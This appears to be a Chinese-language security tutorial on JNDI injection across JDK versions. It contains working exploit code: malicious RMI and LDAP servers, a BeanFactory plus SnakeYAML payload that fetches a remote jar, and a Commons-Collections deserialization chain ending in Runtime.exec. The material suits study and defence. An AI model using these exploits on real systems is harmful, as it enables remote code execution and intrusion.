概述 Java Naming Directory Interface,Java命名和⽬录接⼝,是SUN公司提供的⼀种标准的Java命名系统接⼝。 通过调⽤JNDI的API,应⽤程序可以定位资源和其他程序对象。 JNDI可访问的现有⽬录及服务包括:LDAP(轻型⽬录访问协议)、RMI(远程⽅法调⽤)、DNS(域名服务)、NIS(⽹络信息服务)、CORBA(公共对象请求代理系统结构)
影响范围
121之前 exp 服务端
1 2 3 4 5 6 LocateRegistry.createRegistry(1099 ); Reference reference = new Reference("aa" , "exp" , "http://127.0.0.1:8000/" ); #这里第一个参数是className随便填就好,后面是根据第三个参数Location加上第二个参数FactoryName进行远程加载 #这里最后请求的就是http: InitialContext initialContext = new InitialContext(); initialContext.bind("rmi://127.0.0.1:1099/test" ,reference);
客户端
1 2 InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/test" );
1 2 3 4 5 6 7 8 9 10 11 12 import java.io.IOException; public class exp { static { try { Runtime.getRuntime().exec("code" ); } catch (IOException e) { throw new RuntimeException(e); } } }
分析 主要处理逻辑就是getObjectFactoryFromReference这个函数 这里的factoryName就是服务端注册时候写的factoryName,最开始使用AppClassLoader去加载,因为都是随便写的类名,肯定加载不出来 然后如果这里我们的FactoryClassLocation不为空,这个也是服务端注册时候写的http地址,那么他就会用URLClassLoader进行加载
121-191 修复措施 从8u121开始进行了修复,这个版本的修复措施是在rmi里面加了一些限制 在rmi的RegistryContext里有一个trustURLCodebase,默认是false 如果发现FactoryClassLocation不是空,那么只有当trustURLCodebase为True才会进入NamingManager.getObjectInstance进行远程加载,不然就会报错
绕过 rmi这里的口子被堵住了,但是通过前面分析我们可以知道,真正的加载逻辑是在NamingManager.getObjectFactoryFromReference里面做的 一共有两个地方都调用了getObjectFactoryFromReference,一个就是我们rmi里面的NamingManager.getObjectInstance 还有一个就是ldap里用到的DirectoryManager.getObjectInstance,可以看到ldap里面仍然可以进行加载逻辑
exp 那么我们使用ldap进行攻击
1 2 3 4 5 <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>5.1 .4 </version> <!-- Use the latest version available --> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import java.net.InetAddress; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class demo { private static final String LDAP_BASE = "dc=example,dc=com" ; private static int PORT = 7777 ; public static void main ( String[] tmp_args ) throws Exception { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen" , InetAddress.getByName("0.0.0.0" ), PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + PORT); ds.startListening(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { private static String URI="http://127.0.0.1:8000/" ; @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); System.out.println("Send LDAP reference result for " + base + " redirecting to " + URI+base+".class" ); e.addAttribute("javaClassName" , "foo" ); e.addAttribute("javaCodeBase" , URI); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" ,base); try { result.sendSearchEntry(e); } catch (LDAPException ex) { throw new RuntimeException(ex); } result.setResult(new LDAPResult(0 , ResultCode.SUCCESS)); } } }
客户端去连接
1 2 InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://127.0.0.1:7777/exp" );
分析 也是经过一系列的处理,最后来到了getObjectFactoryFromReference进行了远程类加载,后面的加载逻辑和之前的rmi都类似
191之后 修复措施 在8u191引入的修复方案,也算是真正意义上的修复 之前121版本的修复方案给人的感觉是,这个修复的人并不是很了解jndi背后的加载逻辑。 jndi他的处理流程大概是,先用rmi\ldap进行一个简单的信息处理,然后都统一回到NamingManager里进行加载,所以想要修复这个问题不应该放在rmi\ldap处理的逻辑里,放在NamingManager里统一拦截检查是比较合理的 又加了一个trustURLCodebase 他这个check机制是专门放在了loadClass处理codebase这种情况,默认情况下trustURLCodebase为false,就不允许远程加载,所以这个修复方案是彻底把ldap\rmi这种远程加载给堵住了
绕过 既然不允许远程加载,那就把目光放在依赖库里,看有没有可以利用的一些类 要求Factory必须实现ObjectFactory接口 这里把目光瞄准了BeanFactory
1 2 3 4 5 <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5 .0 </version> </dependency>
要想进入getObjectInstance首先要保证FactoryClassLocation为null 所以我们先这么写
1 2 3 4 LocateRegistry.createRegistry(1099 ); Reference resourceRef = new Reference("aa" ,"org.apache.naming.factory.BeanFactory" ,null); InitialContext initialContext = new InitialContext(); initialContext.bind("rmi://127.0.0.1:1099/test" ,resourceRef);
可以看到BeanFactory成功被实例化出来,然后执行getObjectInstance方法,这个里面的obj就是服务端的Reference,那么我们需要重新构造一下 参数先随便写,看看需要怎么调整
1 2 3 4 LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef("ss" , "aa" , "aa" , "aa" , false , "org.apache.naming.factory.BeanFactory" , null); InitialContext initialContext = new InitialContext(); initialContext.bind("rmi://127.0.0.1:1099/test" ,resourceRef);
这里的beanClass是第一个参数,要是一个类名 我们先随便来一个hashmap
1 2 3 4 LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef("java.util.HashMap" , "aa" , "aa" , "aa" , false , "org.apache.naming.factory.BeanFactory" , null); InitialContext initialContext = new InitialContext(); initialContext.bind("rmi://127.0.0.1:1099/test" ,resourceRef);
类成功被加载,同时实例化了一个对象,这里调用的是public的无参构造函数,也就要求我们这个类必须有public的无参构造函数 这里ref.get就是从传入的addrs里面取,我们也加一个forceString 这里我们随便写个String
1 2 3 4 5 LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef("java.util.HashMap" , "aa" , "aa" , "aa" , false , "org.apache.naming.factory.BeanFactory" , null); resourceRef.add(new StringRefAddr("forceString" , "x=load" )); InitialContext initialContext = new InitialContext(); initialContext.bind("rmi://127.0.0.1:1099/test" ,resourceRef);
这里可以看一下大概逻辑,value先按照,分割,我们这里只有一个,然后按照=号分割,这里的propName就是=后面的load,然后param就是=前面的x 这里相当于会反射获取一个method,参数类型为String,名字我们指定,这里是load,然后会把这个method放入forced里,key是param,这里的key是x 后面会进行一个invoke调用 那么大概我们可以看出来,需要的类有一个public的无参构造函数,然后可以调用一个public的参数为Str的函数 这里我们可以很容易想到snakeyaml 网上有用ELProcessor.eval,GroovyClassLoader.parseClass,GroovyShell.evaluate,这几个都可以,看具体依赖情况,我这里是用snakeyaml来打
1 2 3 4 5 LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef("org.yaml.snakeyaml.Yaml" , "aa" , "aa" , "aa" , false , "org.apache.naming.factory.BeanFactory" , null); resourceRef.add(new StringRefAddr("forceString" , "x=load" )); InitialContext initialContext = new InitialContext(); initialContext.bind("rmi://127.0.0.1:1099/test" ,resourceRef);
但是出现了一个新的问题,这里先取出来的是description,然后直接跳出了while的循环,然后会forced.get(“description”),但实际上method是保存在x里,所以这里的思路是我们把description传入null 然后这里的参数是从ra.getContent里面获取的,也就是我们需要再传入一个addr,他的名字是x,内容是snakeyaml的payload
exp 服务端
1 2 3 4 5 6 7 8 9 10 11 LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef("org.yaml.snakeyaml.Yaml" , null, "aa" , "aa" , false , "org.apache.naming.factory.BeanFactory" , null); resourceRef.add(new StringRefAddr("forceString" , "x=load" )); String yaml="!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]\n" + " ]]\n" + "]" ; resourceRef.add(new StringRefAddr("x" , yaml)); InitialContext initialContext = new InitialContext(); initialContext.bind("rmi://127.0.0.1:1099/test" ,resourceRef);
客户端依赖
1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5 .0 </version> </dependency> <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.33 </version> </dependency>
分析 这里我们把description去掉之后,其他的都满足while的条件 出循环的时候ra刚好就是x对应的Addr,value也成功变成了我们的yaml payload,同时method也成功从forced里面取出来,然后完成invoke调用
通杀payload 这个通杀其实熟悉rmi的人都知道,rmi客户端stub和服务端Skeleton通信之间有反序列化的操作,所以我们也可以利用反序列化的方式直接rce(ldap也有类似的问题) 这里打的还是cc链
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Registry registry = LocateRegistry.createRegistry(1099 ); ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer getMethod = new InvokerTransformer("getMethod" , new Class[]{String.class,Class[].class}, new Object[]{"getRuntime" ,null}); InvokerTransformer invokeMethod = new InvokerTransformer("invoke" , new Class[]{Object.class,Object[].class}, new Object[]{null,null}); InvokerTransformer execMethod = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"code" }); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod}); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"b" ); HashMap hashMap = new HashMap(); Method putVal = hashMap.getClass().getDeclaredMethod("putVal" , new Class[]{int .class, Object.class, Object.class, boolean.class, boolean.class}); putVal.setAccessible(true ); putVal.invoke(hashMap,new Object[]{0 ,tiedMapEntry,"a" ,false ,false }); Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = AnnotationInvocationHandler.getDeclaredConstructor(new Class[]{Class.class, Map.class}); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(new Object[]{Action.class,hashMap }); Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler); registry.bind("aaa" ,remote); for (;;){ }
这里用这个Handler的原因是因为他的参数memberValues是会被反序列化的,同时这个类型是map的话刚好可以走cc6 这里我把这个恶意的rmi服务端打包到服务器上,客户端也会直接被反序列化
分析 这里简单说一下为什么这样写 RegistryImpl的bind操作就是把我们的Remote对象绑定在对应的name上,可以看逻辑是拿bindings来做的 利用反射随便先绑一个hashmap
1 2 3 4 5 6 7 8 9 Hashtable<String, Object> myBindings = new Hashtable<>(); myBindings.put("xuemo" ,new HashMap()); Registry registry = LocateRegistry.createRegistry(1099 ); Field bindings = RegistryImpl.class.getDeclaredField("bindings" ); bindings.setAccessible(true ); bindings.set (registry,myBindings); for (;;){ #这里加个for 也是让他一直监听,不然会退出 }
客户端lookup的时候,服务端有一个强转,所以put的对象必须要实现Remote,不然服务端会直接报错 那我们另外找一个继承于Remote的
1 2 3 4 5 Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("xuemo" ,new RemoteObjectInvocationHandler(new UnicastRef())); for (;;){ }
客户端在这里反序列化的时候会报错 大概原因应该是我们服务端的LiveRef是空,再修改一下,这个时候反序列化ok
1 2 3 4 5 Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("xuemo" ,new RemoteObjectInvocationHandler(new UnicastRef(new LiveRef(0 )))); for (;;){ }
那么想想要怎么攻击呢 第一种思路,找继承于Remote的类,看看有没有能利用的,找了一圈好像没有可以利用的 第二种思路,利用动态代理 因为只要我们指定动态代理要代理的接口,那么这个动态类它就会实现指定的接口,自然也能强转成Remote Remote的问题解决了,我们还要找一个合适的InvocationHandler,这里我们用的是cc1的AnnotationInvocationHandler,因为这个刚好也是可以Serializable
1 2 3 4 5 6 7 8 9 10 11 12 Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = AnnotationInvocationHandler.getDeclaredConstructor(new Class[]{Class.class, Map.class}); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(new Object[]{Action.class, new HashMap()}); Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler); Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("xuemo" ,remote); for (;;){ }
可以看到确实这个动态类被实例化成功了 那么到这里,很多人觉得,cc1有jdk版本要求,高版本打不了,但是这里其实有另一个思路 因为字段的反序列化往往在主体readObject的开头,那么往往我们有入口要求的时候,就可以找满足要求的类作为入口,控制其中的字段为反序列化链子入口类即可 而AnnotationInvocationHandler里面刚好有一个Map类型的字段,可以利用 在AnnotationInvocationHandler的readObject的开头会对AnnotationInvocationHandler的具体的字段进行反序列化 到HashMap的readObject的调用栈,后面就是cc链了